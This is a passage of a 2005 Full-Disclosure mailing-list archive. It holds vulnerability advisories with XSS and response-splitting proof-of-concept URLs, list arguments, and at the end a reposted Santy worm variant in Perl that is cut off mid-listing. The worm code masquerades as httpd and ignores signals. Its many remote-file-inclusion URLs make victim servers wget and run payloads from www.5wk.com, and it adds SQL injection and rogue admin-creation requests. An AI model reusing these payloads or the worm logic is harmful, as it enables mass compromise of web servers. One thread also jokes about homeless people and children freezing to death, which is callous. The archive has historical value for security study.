http://sugarcrm.sourceforge.net --------------------------------------------------------------------------- Vulnerabilities: ~~~~~~~~~~~~~~~~ A. Cross Site Scripting Vulnerability A1. In the main script (index.php) various parameters, that are used to write the html code, not are verified. At least the following URLs are vulnerables to XSS (Cross Site Scripting) attacks : http:///sugarcrm/index.php?module=Contacts&action=EditView&return_module=">&return_action=index http:///sugarcrm/index.php?module=Contacts&action=EditView&return_module=&return_action="> http:///sugarcrm/index.php?name=%22%3E%3Cscript% 3Ealert%28document.cookie%29%3C%2Fscript% 3E&address_city=&website=&phone=&action=ListView&query=true&module=Accounts&button=Search And the following are XSS vulnerables and, may be, arbitrary PHP remote code execution vulnerables as well : http:///sugarcrm/index.php?action=DetailView&module=Accounts">&record=d676f046-1be5-dc36-114e-4138f972bf5d http:///sugarcrm/index.php?action=DetailView&module=Accounts''''&record=[RECORD ID]"> The fix: ~~~~~~~~ All problems are fixed in the latests versions availables at the sugarcrm site. Go to http://sugarcrm.sourceforge.net site for more info about the new versions. Disclaimer: ~~~~~~~~~~~ The information in this advisory and any of its demonstrations is provided "as is" without any warranty of any kind. I am not liable for any direct or indirect damages caused as a result of using the information or demonstrations provided in any part of this advisory. --------------------------------------------------------------------------- Contact: ~~~~~~~~ Joxean Koret at joxeanpiti<<<<<<<<@>>>>>>>>yah00<<<<<>>>>es -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050101/b55e155d/attachment.bin From joxeankoret at yahoo.es Sat Jan 1 20:03:05 2005 From: joxeankoret at yahoo.es (Joxean Koret) Date: Sat, 01 Jan 2005 20:03:05 +0000 Subject: [Full-Disclosure] Two Vulnerabilities in ViewCVS Message-ID: <1104609785.27165.0.camel@nemobox> --------------------------------------------------------------------------- Two Vulnerabilities in ViewCVS --------------------------------------------------------------------------- Author: Jose Antonio Coret (Joxean Koret) Date: 2004 Location: Basque Country --------------------------------------------------------------------------- Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ViewCVS 0.9.2 - ViewCVS is a browser interface for CVS and Subversion version control repositories ViewCVS can browse directories, change logs, and revisions of files. It can display diffs between versions and show selections of files based on tags or branches. In addition, ViewCVS has "annotation" / "blame" support, and Bonsai-like query facility Web : http://viewcvs.sourceforge.net --------------------------------------------------------------------------- Vulnerabilities: ~~~~~~~~~~~~~~~~ A. Cross Site Scripting Vulnerability and/or HTTP Response Splitting A1. When you want to view any source file that is stored in the CVS repository you can select the mime-type to view this (in example, text/html or text/plain). This is a parameter that receives thet viewcvs.py script and is not verified. I'm not sure if this is an HTTP Response Splitting vulnerability and/or a Cross Site Scripting, but is a security problem. To try the vulnerabilities you can try the following the Proof of Concepts: Sample 1 : ~~~~~~~~~~ http:///cgi-bin/viewcvs/project/source.file?rev=HEAD&content-type=text/html%0d%0a%0d%0aXSS%20or%20HTTP%20Response%20Splitting Sample 2 : ~~~~~~~~~~ http:///cgi-bin/viewcvs/*checkout*/project/source.file?rev=1.0&content-type=text/html%0d%0aContent-Length:1937%0d%0a%0d%0aHi The fix: ~~~~~~~~ The vendor was contacted but no path for the 0.9.2 version has been released. Anyway, the problems has been fixed in the ViewCVS 1.0-dev version available via CVS. Disclaimer: ~~~~~~~~~~~ The information in this advisory and any of its demonstrations is provided "as is" without any warranty of any kind. I am not liable for any direct or indirect damages caused as a result of using the information or demonstrations provided in any part of this advisory. --------------------------------------------------------------------------- Contact: ~~~~~~~~ Joxean Koret at joxeanpiti<<<<<<<<@>>>>>>>>yah00<<<<<>>>>es -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050101/0a61dd50/attachment.bin From gerryniger at gmail.com Sat Jan 1 19:40:42 2005 From: gerryniger at gmail.com (gnaa/rkz) Date: Sat, 1 Jan 2005 19:40:42 +0000 Subject: [Full-Disclosure] Xanga Login Cookie stealing Vunerability - GNAA Security Center Message-ID: Vendor: Xanga URL: http://www.xanga.com/ Versions: Current Remote: Yes vendor notified: 06 Oct 2004 at 14:08 Vendor response: NONE Summary: ~~~~~~~ Xanga is a fully featured blogging system, it provides great control over look & feel of a users blog by allowing HTML with only basic checks. Xanga has well over 100,000 users and millions of page views every hour. A security vulnerability in the current system allows malicious users to steal session cookies =================================== Examples Code: ~~~~~~~~~~~~~~~~~~~~~~~~ Pre-reqs: * Create an Account, this does not require a valid email. 1. Click Look & Feel on the lefthand navigation bar 2. In the "Insert your own HTML" Box enter for following code. ~~~~~~~~~~~~CUT AFTER HERE~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~END CUT HERE~~~~~~~~~~~~~~~~~ ========================================= Impact: ~~~~~ This code just shows how to steal session cookies, it would seem that getting hits to a malicious users blog could be quite hard. This is not the case. When combined with existing Xanga exploits: 1. http://homepage.ntlworld.com/allencastro/autoreg.gnaa 2. http://homepage.ntlworld.com/allencastro/xanga.gnaa could potentially generate thousands of hits and even become featured on Xanga's front page (due to popularity of page). Meaning the attacker could get thousands of logins in a few hours. Vendor: ~~~~~ Vendor was informed months ago but we have recieved no reply. Credits: ~~~~~ K5 Article on Xanga: http://www.kuro5hin.org/story/2004/12/28/161214/43 The GNAA Security Team: http://www.gnaa.us/ From anie at hcsmail.com Sun Jan 2 00:02:58 2005 From: anie at hcsmail.com (Luther Vaughn) Date: Sat, 1 Jan 2005 19:02:58 -0500 (EST) Subject: [Full-Disclosure] defaced zine issue 7 Message-ID: <200501020002.j0202wWZ027718@mail.hcsmail.com> An embedded and charset-unspecified text was scrubbed... Name: not available Url: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050101/228fe1af/attachment.ksh From jellyfish_jvss2002 at yahoo.com.sg Sun Jan 2 01:17:23 2005 From: jellyfish_jvss2002 at yahoo.com.sg (jelly fish) Date: Sun, 2 Jan 2005 09:17:23 +0800 (CST) Subject: [Full-Disclosure] Challenge Message-ID: <20050102011723.88620.qmail@web14608.mail.yahoo.com> wolong of Keeptouch.net has issue a challenge to any security professionals to test out his system as he believe he has achieve total anonymity by connecting though 3 proxy servers running behind firewall Yahoo! Mobile - Download the latest ringtones, games, and more! -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050102/25c5217b/attachment.html From m0rtis at adelphia.net Sun Jan 2 05:48:03 2005 From: m0rtis at adelphia.net (Mortis) Date: Sun, 02 Jan 2005 00:48:03 -0500 Subject: [Full-Disclosure] Just a thought (from an autoreply to another thread) In-Reply-To: <41D623B3.7060104@rogers.com> References: <369C119BFEEC2A4697C7BDD62FF96107116159@naimucx4.muc.allianz> <41D623B3.7060104@rogers.com> Message-ID: <6.1.2.0.0.20050102002853.03c127d0@mail.adelphia.net> > You know, people that set these auto-replies often > give out a good amount of information (of the social > engineering kind and otherwise), if someone were to > apply themselves... Yes. We do know. Look in a dumpster outside a phone company or a credit card processor and get back to us. Do you know how cold it has to get for a bum to freeze on the sidewalk overnight? I'm curious. I heard kids freeze quicker. -- Mortis https://www.rosies.org/Cultures/en-US/Giving/Online+Giving.htm From scrotora at hushmail.com Sun Jan 2 12:56:24 2005 From: scrotora at hushmail.com (Scrotora) Date: Sun, 02 Jan 2005 13:56:24 +0100 Subject: [Full-Disclosure] Re: Thanks :) Message-ID: An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050102/f14702dd/attachment.html -------------- next part -------------- A non-text attachment was scrubbed... Name: the_message.com Type: application/octet-stream Size: 21012 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050102/f14702dd/attachment.obj From TalM at comsec.co.il Sun Jan 2 13:44:36 2005 From: TalM at comsec.co.il (Tal Mozes) Date: Sun, 2 Jan 2005 15:44:36 +0200 Subject: [Full-Disclosure] hackers hacking hackers wtf? Message-ID: The website is down.... But you can still see the hacked page at Google cache... http://www.google.com/search?q=cache:CVM90YJzWcoJ:www.boobys.org/+&hl=en&lr= lang_en|lang_iw Pay attention to section [6]...:p -----Original Message----- From: jonny be good [mailto:blackhat_information at yahoo.com] Sent: Saturday, January 01, 2005 4:43 PM To: full-disclosure at lists.netsys.com Subject: [Full-Disclosure] hackers hacking hackers wtf? They call it Project Hatem, their aim to take down as many Whitehat Security sites as they can. They do not believe in full disclosure, and do not believe the moral values of the Whitehats. All they believe in is power and destruction. Well guess what? They got hacked also :P Check it out: http://boobys.org __________________________________ Do you Yahoo!? Yahoo! Mail - Find what you need with new enhanced search. http://info.mail.yahoo.com/mail_250 _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html -- No virus found in this incoming message. Checked by AVG Anti-Virus. Version: 7.0.296 / Virus Database: 265.6.7 - Release Date: 12/30/2004 -- No virus found in this outgoing message. Checked by AVG Anti-Virus. Version: 7.0.296 / Virus Database: 265.6.7 - Release Date: 12/30/2004 ************************************************************************************************** The contents of this email and any attachments are confidential. They are intended for the named recipient(s) only. If you have received this email in error please notify the system manager or the sender immediately and do not disclose the contents to anyone or make copies. ** eSafe scanned this email for viruses, vandals and malicious content. ** ************************************************************************************************** From dcdave at att.net Sun Jan 2 13:56:19 2005 From: dcdave at att.net (dcdave at att.net) Date: Sun, 02 Jan 2005 13:56:19 +0000 Subject: [Full-Disclosure] list noise Message-ID: <010220051356.19809.41D7FD8300068D6E00004D6121612436460A900E0B0C0B@att.net> I will NOT respond to this; I will NOT respond to this; I will Not respond to this; dcdave -- CSO InfoSec Group 703-626-6516 -------------- Original message ---------------------- From: phased > > I also care about noise, and responding to stupid mails makes it worse. > Every time people send stupid mails like the rm file thing, and people reply to > the list, the author was successful in filling the list with crap for a day or > so. > > If no one replies, then they dont get attention and the people who know their > advisories(anyone with common sense) are blatantly crap will not be affected by > their nuisance. > > You always get a load of emails to the list from people who want to tell > everyone they know that an advisory for example was crap, yes we know > thank you, but we are not handing out gold stars today!!! > No need to tell us all every time!!! > > phased > > -----Original Message----- > From: Barrie Dempster > To: full-disclosure at lists.netsys.com > Date: Thu, 30 Dec 2004 09:36:07 +0000 > Subject: RE: [Full-Disclosure] Multiple Backdoors found in eEye Products(IRISand > SecureIIS) > > > I'd have to agree with the eEye statement on this one. You sent out an > > advisory without disclosing the details, which offers no real benefit to > > anyone. Many people consider this responsible disclosure but that also > > requires you to notify the vendor (there were no @eeye.com's in your > > "to" list but there were a couple of press mailboxes). > > > > You didn't contact eEye, you didn't release details, you used an > > anonymous address and failed to mention or credit any of the other guys > > in your "testing team", This can only lead us to believe that the > > advisory is fake and only intended to generate bad press for eEye. I > > personally don't care about eEye's PR rating but I do care about the > > level of noise on these lists and I do care about backdoor-ed commercial > > products that are in common use. You may have an issue with eEye and see > > this as revenge. However, I doubt you also have an issue with the many > > admins who probably have spent their holiday season investigating these > > claims, when there are likely more pressing matters to address, such as > > a large stock of alcohol. > > > > Show us details, or be quiet. If you intended to embarrass eEye the plan > > backfired as any competent professional on this list (there are a few - > > I've heard stories about them) would see this as a shameful attempt and > > would be laughing at you, not eEye. > > > > Seasons greetings to eEye and all Full Disclosure subscribers - even you > > "Lance Gusto". > > > > With Regards.. > > Barrie Dempster (zeedo) - Fortiter et Strenue > > > > http://www.bsrf.org.uk > > > > [ gpg --recv-keys --keyserver www.keyserver.net 0x96025FD0 ] > > > > > > > > > > > > ATTACHMENT: application/pgp-signature ("signature.asc") > > > > _______________________________________________ > > Full-Disclosure - We believe in it. > > Charter: http://lists.netsys.com/full-disclosure-charter.html > > > > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html From measl at mfn.org Sun Jan 2 21:41:55 2005 From: measl at mfn.org (J.A. Terranson) Date: Sun, 2 Jan 2005 15:41:55 -0600 (CST) Subject: [Full-Disclosure] Just a thought (from an autoreply to another thread) In-Reply-To: <6.1.2.0.0.20050102002853.03c127d0@mail.adelphia.net> References: <369C119BFEEC2A4697C7BDD62FF96107116159@naimucx4.muc.allianz> <41D623B3.7060104@rogers.com> <6.1.2.0.0.20050102002853.03c127d0@mail.adelphia.net> Message-ID: <20050102154012.T29540@ubzr.zsa.bet> On Sun, 2 Jan 2005, Mortis wrote: > Do you know how cold it has to get for a bum to freeze on the sidewalk > overnight? I'm curious. With or without ETOH to lower the freezing point of red cells? > I heard kids freeze quicker. You might think so based upon mere size, but actually kids tend to run at a higher metabolic rate, allowing them to generate a bit more heat than their biggers. My bet is they freeze slower than people, but faster than drunk people. -- Yours, J.A. Terranson sysadmin at mfn.org 0xBD4A95BF Civilization is in a tailspin - everything is backwards, everything is upside down- doctors destroy health, psychiatrists destroy minds, lawyers destroy justice, the major media destroy information, governments destroy freedom and religions destroy spirituality - yet it is claimed to be healthy, just, informed, free and spiritual. We live in a social system whose community, wealth, love and life is derived from alienation, poverty, self-hate and medical murder - yet we tell ourselves that it is biologically and ecologically sustainable. The Bush plan to screen whole US population for mental illness clearly indicates that mental illness starts at the top. Rev Dr Michael Ellner From dave at immunitysec.com Sun Jan 2 21:29:54 2005 From: dave at immunitysec.com (Dave Aitel) Date: Sun, 02 Jan 2005 16:29:54 -0500 Subject: [Full-Disclosure] Multiple Backdoors found in eEye Products (IRIS and Secure In-Reply-To: References: Message-ID: <41D867D2.9030105@immunitysec.com> Well, for all who read this (and care) I tested a moderately old version of SecureIIS I have installed on some VM, and I didn't see any calls to CreateProcess anywhere in any of the eEye DLL's. Nor did I see any suspicious getprocaddr's/loadlibrarya's that would indicate a backdoor. For those who might try this little game, eEye's secureIIS is basically a http_filter module that loads into Inetinfo which takes requests and passes them off to a ncalrpc service (the event bus, as they'd call it). It's going to get the request about 3 times during the course of events. Of course, this sort of thing is basically impossible to disprove - especially without source. -dave Lance Gusto wrote: > > Hey Dave, > > > I cannot disclosed much information (based on request/threats made by > certain organizations > whom may be involved) I am sure you can understand. > > But we have tested Iris versions 3.0 and up ... As I previously stated > it doesn't appear to > exist in the 2.x series of Iris. > > I am not the main tester involved here, but I was told that there is > some sort of clandestine > chaining mechanism to create the processes I believe. I will provide > the "lists" I have sent this > too with more information as soon as some of the other testers > involved come back from their > respective holiday breaks. > > >> From: Dave Aitel >> To: Lance Gusto >> Subject: Re: [Full-Disclosure] Multiple Backdoors found in eEye >> Products (IRIS and SecureIIS) >> Date: Wed, 29 Dec 2004 11:29:55 -0500 >> >> >>> >>> >>> The SecureIIS Backdoor: >>> >>> The SecureIIS backdoor was alot easier to discover but very well >>> placed. The SecureIIS backdoor is triggered by a specifically >>> crafted HTTP HEAD request. Here is a incomplete layout of how >>> to exploit this: >>> >> >> Which version did you test? I'm not seeing it, or any intermodular >> calls to CreateProcess in the DLL that it loads up. >> >> -dave >> >> >>> >>> HEAD /<24 byte constant string>/PORT_ADDRESS.ASP HTTP/1.1 >>> >>> PORT - Will be the port to bind a shell. >>> ADDRESS - Address for priority binding (0 - For any). >>> >>> >>> [snip] >>> >>> >>> >>> Local Deduction: >>> >>> There are a two possiblilites here, either eEye's code has been >>> altered by some attacker or this has been sanctioned by the >>> company (or at least the developers were fully aware of this). >>> >>> >>> >>> Conclusion: >>> >>> It is very very shameful that a somewhat reputable like eEye is acting >>> in a very childish, unprofessional manner. I figure that is why the >>> code is closed source. There are several active exploits available >>> that I >>> (the author of this advisory) didn't create floating around. The only >>> logical solution will be to not use the mentioned eEye products for the >>> time being or at least downgrade to the non-backdoored versions. >>> >>> We will be investigation eEye's Blink Product for any clandestine >>> backdoors. >>> >>> _________________________________________________________________ >>> FREE pop-up blocking with the new MSN Toolbar ? get it now! >>> http://toolbar.msn.click-url.com/go/onm00200415ave/direct/01/ >>> >>> _______________________________________________ >>> Full-Disclosure - We believe in it. >>> Charter: http://lists.netsys.com/full-disclosure-charter.html >> >> >> > > _________________________________________________________________ > Don?t just search. Find. Check out the new MSN Search! > http://search.msn.click-url.com/go/onm00200636ave/direct/01/ > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html From Mike at MichaelEvanchik.com Sun Jan 2 23:43:40 2005 From: Mike at MichaelEvanchik.com (Michael Evanchik) Date: Sun, 2 Jan 2005 18:43:40 -0500 Subject: [Full-Disclosure] And you're proud of this Mike Evanchick? References: <41D318B1.4070605@cisco.com> Message-ID: <018101c4f124$e3696b70$6702a8c0@AlanPickel.com> Re: [Full-Disclosure] And you're proud of this Mike Evanchick?Let me put this lighter, WRONG I created this code first using KNOWN virus strings. It would be trivial to use different code that is not detected, Mike www.michaelevanchik.com ----- Original Message ----- From: Michael Reilly To: Todd Towles Cc: full-disclosure at lists.netsys.com Sent: Wednesday, December 29, 2004 3:50 PM Subject: Re: [Full-Disclosure] And you're proud of this Mike Evanchick? Couldn't help seconding this. I do not understand the purpose of he original message. I think Norton/Symantec did a good job. michael Todd Towles wrote: > Sounds like you need AV and a bit of network security. If you are scared > of IRC trojans and detectable viruses..then your time would be better > spent putting those systems into place. Don't you think? > > > ________________________________ > > From: full-disclosure-bounces at lists.netsys.com > [mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of Elle > Chicka > Sent: Monday, December 27, 2004 11:16 PM > To: full-disclosure at lists.netsys.com > Subject: [Full-Disclosure] And you're proud of this Mike > Evanchick? > > > You so proudly posted this: > ------------------------ > > http://securityresponse.symantec.com/avcenter/venc/data/trojan.phel.a.ht > ml > ponse.symantec.com/avcenter/venc/data/trojan.phel.a.html> > > mike > > www.michaelevanchik.com > > ------------------------ > Obviously you are just tickled to see that the kiddies were able > to so quickly turn your point/click sploit code into a virus to wreak > havoc on my network. > > Thanks a lot for helping to make all of us a little less secure > over the holiday's. > > > __________________________________________________ > Do You Yahoo!? > Tired of spam? Yahoo! Mail has the best spam protection around > http://mail.yahoo.com > > > > > ------------------------------------------------------------------------ > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html -- ---- ---- ---- Michael Reilly michaelr at cisco.com Cisco Systems, California _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050102/2c037506/attachment.html From Mike at MichaelEvanchik.com Sun Jan 2 23:39:08 2005 From: Mike at MichaelEvanchik.com (Michael Evanchik) Date: Sun, 2 Jan 2005 18:39:08 -0500 Subject: [Full-Disclosure] And you're proud of this Mike Evanchick? References: <1104429301.2083.5.camel@anathema> Message-ID: <013301c4f124$40e7b460$6702a8c0@AlanPickel.com> RE: [Full-Disclosure] And you're proud of this Mike Evanchick?wasnt meant as attack. sorry about that. The statment was totally wrong, by no means is any AVP going to save you from true attackers. Mike www.michaelevanchik.com ----- Original Message ----- From: xyberpix To: Todd Towles Cc: Michael Evanchik ; full-disclosure at lists.netsys.com Sent: Thursday, December 30, 2004 12:55 PM Subject: RE: [Full-Disclosure] And you're proud of this Mike Evanchick? I have to aggree with Todd on this one, the attack was extremely unprofessional, and things like this should be left out of mailing lists. I could carry on, but am forcing myself not to here. xyberpix On Thu, 2004-12-30 at 08:38 -0600, Todd Towles wrote: > Umm..and you were the one giving cheers to Norton. Of course AV can be > fooled..and of course a patch from microsoft is the only true way to > fix the problem. > > She was attacking you for giving Cheers to Norton. I didn't release > the POC, you did. I am happy Norton is detecting it. If you want to > change your words right in the middle of the sentence, I really don't > care. > > By attacking me on a personal level, you have proven to me..to be > unprofessional at best. > > > ______________________________________________________________ > From: Michael Evanchik [mailto:Mike at MichaelEvanchik.com] > Sent: Wednesday, December 29, 2004 5:03 PM > To: Todd Towles; Elle Chicka; full-disclosure at lists.netsys.com > Subject: Re: [Full-Disclosure] And you're proud of this Mike > Evanchick? > > > Todd, > > Listen, you are so wrong i cant belive you even have the guts > to post this. How stupid can you be? Norton or any AVP can > easily be fooled. The active x object "ca"+n b"+ +e crea" > +ted" like this. code changed around , or even different local > code can be used and tada AVP is fooled. Only a true patch > from microsoft or disable the help control in the registry is > going to stop this. Her concern is wise. > > Mike > www.michaelevanchik.com > > ----- Original Message ----- > From: Todd Towles > To: Elle Chicka ; full-disclosure at lists.netsys.com > Sent: Wednesday, December 29, 2004 9:36 AM > Subject: RE: [Full-Disclosure] And you're proud of > this Mike Evanchick? > > > Well, if you have Norton, it couldn't wreak > havoc...now could it? Most of the AV compaines are now > detecting the exploit. This detection response is much > faster than most of the other exploits which are > wreaking havoc on your network, so it would sound. > > Nice work to Norton. > > > ______________________________________________ > From: full-disclosure-bounces at lists.netsys.com > [mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of Elle Chicka > Sent: Monday, December 27, 2004 11:16 PM > To: full-disclosure at lists.netsys.com > Subject: [Full-Disclosure] And you're proud of > this Mike Evanchick? > > > You so proudly posted this: > ------------------------ > http://securityresponse.symantec.com/avcenter/venc/data/trojanphel.a.html > > mike > > www.michaelevanchik.com > > ------------------------ > Obviously you are just tickled to see that the > kiddies were able to so quickly turn your > point/click sploit code into a virus to wreak > havoc on my network. > > Thanks a lot for helping to make all of us a > little less secure over the holiday's. > > > __________________________________________________ > Do You Yahoo!? > Tired of spam? Yahoo! Mail has the best spam > protection around > http://mail.yahoo.com > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html -- For Security and Open Source news and tips visit: http://www.xyberpix.com -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050102/a5d12fa0/attachment.html From dayioglu at metu.edu.tr Mon Jan 3 07:04:47 2005 From: dayioglu at metu.edu.tr (dayioglu at metu.edu.tr) Date: Mon, 3 Jan 2005 12:34:47 +0530 Subject: [Full-Disclosure] Mail Delivery (failure full-disclosure@lists.netsys.com) Message-ID: <200501030704.j0374ivO026391@lists.netsys.com> -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050103/39f77c5f/attachment.html -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: audio/x-wav Size: 31744 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050103/39f77c5f/attachment.wav From stfunub at gmail.com Mon Jan 3 07:54:08 2005 From: stfunub at gmail.com (Andrew Smith) Date: Mon, 3 Jan 2005 07:54:08 +0000 Subject: [Full-Disclosure] Santy Variant attacking about 50 PHP-applications In-Reply-To: <481.1104521032@www6.gmx.net> References: <481.1104521032@www6.gmx.net> Message-ID: <33713abc0501022354329f561f@mail.gmail.com> Covered on the F-Secure weblog, the DNS has been pointed at 127.0.0.2 so no more bots will be connecting. Just posting the source incase 5wk.com dies: #!/usr/bin/perl ##################### #### #### #### #### #### #### #### #### # # # # #### #### # # # # # # # # # # # # # # #### #### # # ### ## #### # #### ## ### #### # # # # # # # # # # # # # #### # #### #### # # #### #### # # # # #### #### use LWP::Simple; use IO::Socket::INET; my $processo = "/usr/local/sbin/httpd"; $SIG{"INT"} = "IGNORE"; $SIG{"HUP"} = "IGNORE"; $SIG{"TERM"} = "IGNORE"; $SIG{"CHLD"} = "IGNORE"; $SIG{"PS"} = "IGNORE"; $0="$processo"."\0"x16;; my $pid=fork; exit if $pid; die "Problema com o fork: $!" unless defined($pid); $lista[0] = '/modules/My_eGallery/public/displayCategory.php?basepath=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget http://www.5wk.com/spybot'; $lista[1] = '/modules/mod_mainmenu.php?mosConfig_absolute_path=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget http://www.5wk.com/spybot'; $lista[2] = '/include/new-visitor.inc.php?lvc_include_dir=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget http://www.5wk.com/spybot'; $lista[3] = '/_functions.php?prefix=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget http://www.5wk.com/spybot'; $lista[4] = '/cpcommerce/_functions.php?prefix=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget http://www.5wk.com/spybot'; $lista[5] = '/modules/coppermine/themes/default/theme.php?THEME_DIR=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget http://www.5wk.com/spybot'; $lista[6] = '/modules/agendax/addevent.inc.php?agendax_path=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget http://www.5wk.com/spybot'; $lista[7] = '/ashnews.php?pathtoashnews=cd /tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget http://www.5wk.com/spybot'; $lista[8] = '/eblog/blog.inc.php?xoopsConfig[xoops_url]=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget http://www.5wk.com/spybot'; $lista[9] = '/pm/lib.inc.php?pm_path=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget http://www.5wk.com/spybot'; $lista[10] = '/b2-tools/gm-2-b2.php?b2inc=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget http://www.5wk.com/spybot'; $lista[11] = '/modules/mod_mainmenu.php?mosConfig_absolute_path=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget http://www.5wk.com/spybot'; $lista[12] = '/modules/agendax/addevent.inc.php?agendax_path=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget http://www.5wk.com/spybot'; $lista[13] = '/includes/include_once.php?include_file=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget http://www.5wk.com/spybot'; $lista[14] = '/e107/e107_handlers/secure_img_render.php?p=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget http://www.5wk.com/spybot'; $lista[15] = '/shoutbox/expanded.php?conf=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget http://www.5wk.com/spybot'; $lista[16] = '/modules.php?name=NukeJokes&file=print&jokeid=-1/**/UNION/**/SELECT/**/aid,pwd/**/FROM/**/nuke_authors/**/WHERE/**/radminsuper=1/**/LIMIT/**/1/*'; $lista[17] = '/admin.php?op=AddAuthor&add_aid=cake&add_name=God&add_pwd=brasnet&add_email=foo at bar.com&add_radminsuper=1&admin=eCcgVU5JT04gU0VMRUNUIDEvKjox'; $lista[18] = '/main.php?x=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget http://www.5wk.com/spybot'; $lista[19] = '/myPHPCalendar/admin.php?cal_dir=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget http://www.5wk.com/spybot'; $lista[20] = '/index.php/main.php?x=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget http://www.5wk.com/spybot'; $lista[21] = '/index.php?include=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget http://www.5wk.com/spybot'; $lista[22] = '/index.php?x=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget http://www.5wk.com/spybot'; $lista[23] = '/index.php?open=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget http://www.5wk.com/spybot'; $lista[24] = '/index.php?visualizar=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget http://www.5wk.com/spybot'; $lista[25] = '/template.php?pagina=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget http://www.5wk.com/spybot'; $lista[26] = '/index.php?pagina=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget http://www.5wk.com/spybot'; $lista[27] = '/index.php?inc=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget http://www.5wk.com/spybot'; $lista[28] = '/includes/include_onde.php?include_file=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget http://www.5wk.com/spybot'; $lista[29] = '/index.php?page=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget http://www.5wk.com/spybot'; $lista[30] = '/index.php?pg=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget http://www.5wk.com/spybot'; $lista[31] = '/index.php?show=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget http://www.5wk.com/spybot'; $lista[32] = '/index.php?cat=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget http://www.5wk.com/spybot'; $lista[33] = '/index.php?file=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget http://www.5wk.com/spybot'; $lista[34] = 